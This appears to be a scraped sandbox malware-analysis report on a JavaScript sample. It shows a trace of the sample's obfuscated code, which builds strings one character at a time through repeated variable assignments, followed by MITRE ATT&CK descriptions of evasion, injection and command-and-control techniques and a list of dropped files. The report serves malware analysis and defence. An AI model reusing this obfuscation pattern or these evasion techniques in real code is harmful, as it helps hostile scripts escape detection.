1341	kurxles = "m";
1342	kurxles = "s";
1343	xjlha = "y";
1344	xjlha = "d";
1345	xjlha = "S";
1346	xjlha = "t";
1347	xjlha = "A";
1348	xjlha = "J";
1349	xjlha = "h";
1350	xjlha = "V";
1351	xjlha = "g";
1352	xjlha = "t";
1353	xjlha = "F";
1354	ibotirpw = "x";
1355	ibotirpw = "O";
1356	ibotirpw = "O";
1357	ibotirpw = "T";
1358	ibotirpw = "i";
1359	ibotirpw = "X";
1360	ibotirpw = "z";
1361	ibotirpw = "V";
1362	ibotirpw = "c";
1363	ibotirpw = "d";
1364	ibotirpw = "G";
1365	ibotirpw = "E";
1366	ibotirpw = "l";
1367	ibotirpw = "u";
1368	ibotirpw = "p";
1369	ibotirpw = "J";
1370	ibotirpw = "N";
1371	ibotirpw = "v";
1372	ibotirpw = "F";
1373	ibotirpw = "s";
1374	ibotirpw = "p";
1375	ibotirpw = "C";
1376	ibotirpw = "D";
1377	ibotirpw = "g";
1378	ibotirpw = "o";
1379	ibotirpw = "c";
1380	ibotirpw = "k";
1381	ibotirpw = "Q";
1382	ibotirpw = "N";
1383	ibotirpw = "t";
1384	ibotirpw = "j";
1385	ibotirpw = "x";
1386	ibotirpw = "Z";
1387	ibotirpw = "G";
1388	ibotirpw = "i";
1389	ibotirpw = "d";
1390	ibotirpw = "d";
1391	ibotirpw = "T";
1392	ibotirpw = "j";
1393	ibotirpw = "F";
1394	ibotirpw = "o";
1395	ibotirpw = "9";
1396	kvttsd = "P";
1397	kvttsd = "E";
1398	kvttsd = "e";
1399	kvttsd = "J";
1400	kvttsd = "k";
1401	kvttsd = "a";
1402	kvttsd = "O";
1403	kvttsd = "H";
1404	kvttsd = "z";
1405	kvttsd = "x";
1406	kvttsd = "a";
1407	kvttsd = "b";
1408	kvttsd = "C";
1409	kvttsd = "A";
1410	kvttsd = "g";
1411	kvttsd = "k";
1412	kvttsd = "k";
1413	kvttsd = "I";
1414	kvttsd = "G";
1415	kvttsd = "O";
1416	kvttsd = "a";
1417	kvttsd = "g";
1418	kvttsd = "_";
1419	dcnalprmh = "o";
1420	dcnalprmh = "I";
1421	dcnalprmh = "Q";
1422	dcnalprmh = "D";
1423	dcnalprmh = "L";
1424	dcnalprmh = "q";
1425	dcnalprmh = "W";
1426	dcnalprmh = "t";
1427	dcnalprmh = "P";
1428	dcnalprmh = "s";
1429	dcnalprmh = "c";
1430	dcnalprmh = "V";
1431	dcnalprmh = "f";
1432	dcnalprmh = "H";
1433	dcnalprmh = "K";
1434	dcnalprmh = "s";
1435	dcnalprmh = "b";
1436	dcnalprmh = "z";
1437	dcnalprmh = "s";
1438	dcnalprmh = "d";
1439	dcnalprmh = "x";
1440	dcnalprmh = "N";
1441	dcnalprmh = "b";
1442	dcnalprmh = "g";
1443	dcnalprmh = "H";
1444	dcnalprmh = "I";
1445	dcnalprmh = "m";
1446	dcnalprmh = "P";
1447	dcnalprmh = "W";
1448	dcnalprmh = "K";
1449	dcnalprmh = "k";
1450	dcnalprmh = "J";
1451	dcnalprmh = "L";
1452	dcnalprmh = "o";
1453	dcnalprmh = "v";
1454	dcnalprmh = "N";
1455	dcnalprmh = "y";
1456	dcnalprmh = "k";
1457	dcnalprmh = "N";
1458	dcnalprmh = "E";
1459	dcnalprmh = "N";
1460	dcnalprmh = "C";
1461	dcnalprmh = "B";
1462	dcnalprmh = "I";
1463	dcnalprmh = "%";
1464	dkonn = "O";
1465	dkonn = "H";
1466	dkonn = "t";
1467	dkonn = "I";
1468	dkonn = "d";
1469	dkonn = "w";
1470	dkonn = "e";
1471	dkonn = "z";
1472	dkonn = "z";
1473	dkonn = "y";
1474	dkonn = "U";
1475	dkonn = "L";
1476	dkonn = "y";
1477	dkonn = "m";
1478	dkonn = "V";
1479	dkonn = "h";
1480	dkonn = "m";
1481	dkonn = "Y";
1482	dkonn = "I";
1483	dkonn = "M";
1484	dkonn = "y";
1485	dkonn = "R";
1486	dkonn = "q";
1487	dkonn = "l";
1488	dkonn = "p";
1489	dkonn = "v";
1490	dkonn = "I";
1491	dkonn = "F";
1492	dkonn = "P";
1493	dkonn = "q";
1494	dkonn = "I";
1495	dkonn = "q";
1496	dkonn = "g";
1497	dkonn = "Z";
1498	dkonn = "T";
1499	dkonn = "Z";
1500	dkonn = "4";
1501	pddjtwyt = "v";
1502	pddjtwyt = "e";
1503	pddjtwyt = "q";
1504	pddjtwyt = "N";
1505	pddjtwyt = "V";
1506	pddjtwyt = "Y";
1507	pddjtwyt = "I";
1508	pddjtwyt = "X";
1509	pddjtwyt = "L";
1510	pddjtwyt = "c";
1511	pddjtwyt = "z";
1512	pddjtwyt = "V";
1513	pddjtwyt = "W";
1514	pddjtwyt = "D";
1515	pddjtwyt = "Z";
1516	pddjtwyt = "e";
1517	pddjtwyt = "a";
1518	pddjtwyt = "X";
1519	pddjtwyt = "n";
1520	pddjtwyt = "L";
1521	pddjtwyt = "e";
1522	pddjtwyt = "U";
1523	advhdz ( );	advhdz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 17763111531162825565.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\084851f8-2db7-4288-bce9-7e3744cf1d75.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6212

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
17763111531162825565.js